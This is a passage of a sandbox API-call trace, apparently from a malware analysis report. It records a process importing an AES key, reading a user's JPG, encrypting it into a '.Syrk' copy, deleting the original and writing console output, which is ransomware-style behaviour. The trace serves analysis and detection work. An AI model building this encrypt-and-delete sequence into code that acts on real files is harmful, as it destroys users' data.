(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0246.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0246.818] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0246.818] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0246.818] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0246.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0246.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0246.818] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0246.818] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0246.818] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0246.819] EtwEventActivityIdControl () returned 0x0 [0246.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0246.819] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0246.819] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0246.819] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0246.821] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cdd0) returned 1 [0246.823] CryptImportKey (in: hProv=0x5c4cdd0, pbData=0x253b2d8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99aa0) returned 1 [0246.823] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.824] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.824] EtwEventActivityIdControl () returned 0x0 [0246.824] EtwEventActivityIdControl () returned 0x0 [0246.824] EtwEventActivityIdControl () returned 0x0 [0246.831] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg")) returned 0x20 [0246.833] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg")) returned 0x20 [0246.833] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0246.833] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", lpFilePart=0x0) returned 0x2d [0246.833] EtwEventActivityIdControl () returned 0x0 [0246.834] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.834] EtwEventActivityIdControl () returned 0x0 [0246.834] EtwEventActivityIdControl () returned 0x0 [0246.834] EtwEventActivityIdControl () returned 0x0 [0246.836] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0246.836] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", lpFilePart=0x0) returned 0x2d [0246.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0246.836] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0246.836] GetFileType (hFile=0x3c4) returned 0x1 [0246.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0246.837] GetFileType (hFile=0x3c4) returned 0x1 [0246.837] EtwEventActivityIdControl () returned 0x0 [0246.837] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.837] EtwEventActivityIdControl () returned 0x0 [0246.837] EtwEventActivityIdControl () returned 0x0 [0246.837] EtwEventActivityIdControl () returned 0x0 [0246.839] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.839] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg.Syrk", lpFilePart=0x0) returned 0x32 [0246.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0246.839] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0246.840] GetFileType (hFile=0x454) returned 0x1 [0246.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0246.840] GetFileType (hFile=0x454) returned 0x1 [0246.840] EtwEventActivityIdControl () returned 0x0 [0246.840] CryptGenRandom (in: hProv=0x5c4cdd0, dwLen=0x10, pbBuffer=0x254b5c4 | out: pbBuffer=0x254b5c4) returned 1 [0246.842] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.842] CryptDuplicateKey (in: hKey=0x5c99aa0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99b20) returned 1 [0246.843] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.843] CryptSetKeyParam (hKey=0x5c99b20, dwParam=0x4, pbData=0x254c8f0*=0x1, dwFlags=0x0) returned 1 [0246.843] CryptSetKeyParam (hKey=0x5c99b20, dwParam=0x1, pbData=0x254c8bc, dwFlags=0x0) returned 1 [0246.854] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.854] EtwEventActivityIdControl () returned 0x0 [0246.855] EtwEventActivityIdControl () returned 0x0 [0246.855] EtwEventActivityIdControl () returned 0x0 [0246.856] EtwEventActivityIdControl () returned 0x0 [0246.856] ReadFile (in: hFile=0x3c4, lpBuffer=0x254f538, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x254f538*, lpNumberOfBytesRead=0x5a2e7d8*=0xcd3f, lpOverlapped=0x0) returned 1 [0246.863] CryptEncrypt (in: hKey=0x5c99b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23734bc*, pdwDataLen=0x5a2e7cc*=0xcd30, dwBufLen=0xcd30 | out: pbData=0x23734bc*, pdwDataLen=0x5a2e7cc*=0xcd30) returned 1 [0246.874] WriteFile (in: hFile=0x454, lpBuffer=0x235e04c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x235e04c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0246.876] WriteFile (in: hFile=0x454, lpBuffer=0x23744a8*, nNumberOfBytesToWrite=0xbd44, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23744a8*, lpNumberOfBytesWritten=0x5a2e7b0*=0xbd44, lpOverlapped=0x0) returned 1 [0246.877] ReadFile (in: hFile=0x3c4, lpBuffer=0x235f4b0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x235f4b0*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0246.878] CryptEncrypt (in: hKey=0x5c99b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2380204*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2380204*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0246.878] CryptEncrypt (in: hKey=0x5c99b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2380220*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2380220*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0246.878] WriteFile (in: hFile=0x454, lpBuffer=0x235e04c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x235e04c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0246.878] CloseHandle (hObject=0x454) returned 1 [0246.880] CloseHandle (hObject=0x3c4) returned 1 [0246.880] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.881] EtwEventActivityIdControl () returned 0x0 [0246.881] EtwEventActivityIdControl () returned 0x0 [0246.881] EtwEventActivityIdControl () returned 0x0 [0246.888] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg")) returned 0x20 [0246.890] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0246.890] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", lpFilePart=0x0) returned 0x2d [0246.891] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0246.891] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0246.891] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0246.891] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0246.892] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0246.892] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0246.892] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0246.892] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0246.892] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0246.892] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0246.892] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0246.892] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0246.892] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0246.893] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0246.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0246.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0246.893] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg")) returned 0x20 [0246.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0246.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", lpFilePart=0x0) returned 0x2d [0246.896] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0246.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", lpFilePart=0x0) returned 0x2d [0246.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0246.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0246.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", lpFilePart=0x0) returned 0x2d [0246.897] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0246.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0246.897] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0246.897] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0246.898] CoTaskMemFree (pv=0x3b0008) [0246.899] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg")) returned 0x20 [0246.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0246.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg", lpFilePart=0x0) returned 0x2d [0246.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0246.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg"), fInfoLevelId=0x0, lpFileInformation=0x238b5d8 | out: lpFileInformation=0x238b5d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71136550, ftCreationTime.dwHighDateTime=0x1d99109, ftLastAccessTime.dwLowDateTime=0xefe63450, ftLastAccessTime.dwHighDateTime=0x1d99c23, ftLastWriteTime.dwLowDateTime=0xefe63450, ftLastWriteTime.dwHighDateTime=0x1d99c23, nFileSizeHigh=0x0, nFileSizeLow=0xcd3f)) returned 1 [0246.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0246.900] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg")) returned 1 [0246.908] EtwEventActivityIdControl () returned 0x0 [0246.908] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.909] EtwEventActivityIdControl () returned 0x0 [0246.909] EtwEventActivityIdControl () returned 0x0 [0246.909] EtwEventActivityIdControl () returned 0x0 [0246.918] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg.syrk")) returned 0x20 [0246.919] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg.syrk")) returned 0x20 [0246.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg.Syrk", lpFilePart=0x0) returned 0x32 [0246.919] EtwEventActivityIdControl () returned 0x0 [0246.920] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.920] EtwEventActivityIdControl () returned 0x0 [0246.920] EtwEventActivityIdControl () returned 0x0 [0246.920] EtwEventActivityIdControl () returned 0x0 [0246.927] EtwEventActivityIdControl () returned 0x0 [0246.928] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.928] EtwEventActivityIdControl () returned 0x0 [0246.928] EtwEventActivityIdControl () returned 0x0 [0246.928] EtwEventActivityIdControl () returned 0x0 [0246.933] EtwEventActivityIdControl () returned 0x0 [0246.933] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.934] EtwEventActivityIdControl () returned 0x0 [0246.934] EtwEventActivityIdControl () returned 0x0 [0246.934] EtwEventActivityIdControl () returned 0x0 [0246.940] EtwEventActivityIdControl () returned 0x0 [0246.940] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.941] EtwEventActivityIdControl () returned 0x0 [0246.941] EtwEventActivityIdControl () returned 0x0 [0246.941] EtwEventActivityIdControl () returned 0x0 [0246.945] EtwEventActivityIdControl () returned 0x0 [0246.946] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.946] EtwEventActivityIdControl () returned 0x0 [0246.946] EtwEventActivityIdControl () returned 0x0 [0246.946] EtwEventActivityIdControl () returned 0x0 [0246.950] EtwEventActivityIdControl () returned 0x0 [0247.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0247.026] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\8DVbrPzwsfunn.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\8dvbrpzwsfunn.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23950d8 | out: lpFileInformation=0x23950d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5a7f0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xed5a7f0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xedccc10, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xcd54)) returned 1 [0247.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0247.028] GetConsoleOutputCP () returned 0x1b5 [0247.028] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0247.028] GetConsoleOutputCP () returned 0x1b5 [0247.028] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0247.029] GetConsoleOutputCP () returned 0x1b5 [0247.029] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.029] GetConsoleOutputCP () returned 0x1b5 [0247.029] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.029] GetConsoleOutputCP () returned 0x1b5 [0247.029] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0247.029] GetConsoleOutputCP () returned 0x1b5 [0247.030] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0247.030] GetConsoleOutputCP () returned 0x1b5 [0247.030] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.030] GetConsoleOutputCP () returned 0x1b5 [0247.030] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.030] GetConsoleOutputCP () returned 0x1b5 [0247.031] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0247.031] GetConsoleOutputCP () returned 0x1b5 [0247.031] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0247.031] GetConsoleOutputCP () returned 0x1b5 [0247.031] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.031] GetConsoleOutputCP () returned 0x1b5 [0247.031] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.032] GetConsoleOutputCP () returned 0x1b5 [0247.032] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0247.032] GetConsoleOutputCP () returned 0x1b5 [0247.032] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0247.032] GetConsoleOutputCP () returned 0x1b5 [0247.032] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.032] GetConsoleOutputCP () returned 0x1b5 [0247.033] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0247.033] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0247.033] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0247.034] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23af350*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23af350*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0247.034] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0247.035] WriteConsoleW (in: hConsoleOutput=0xf, 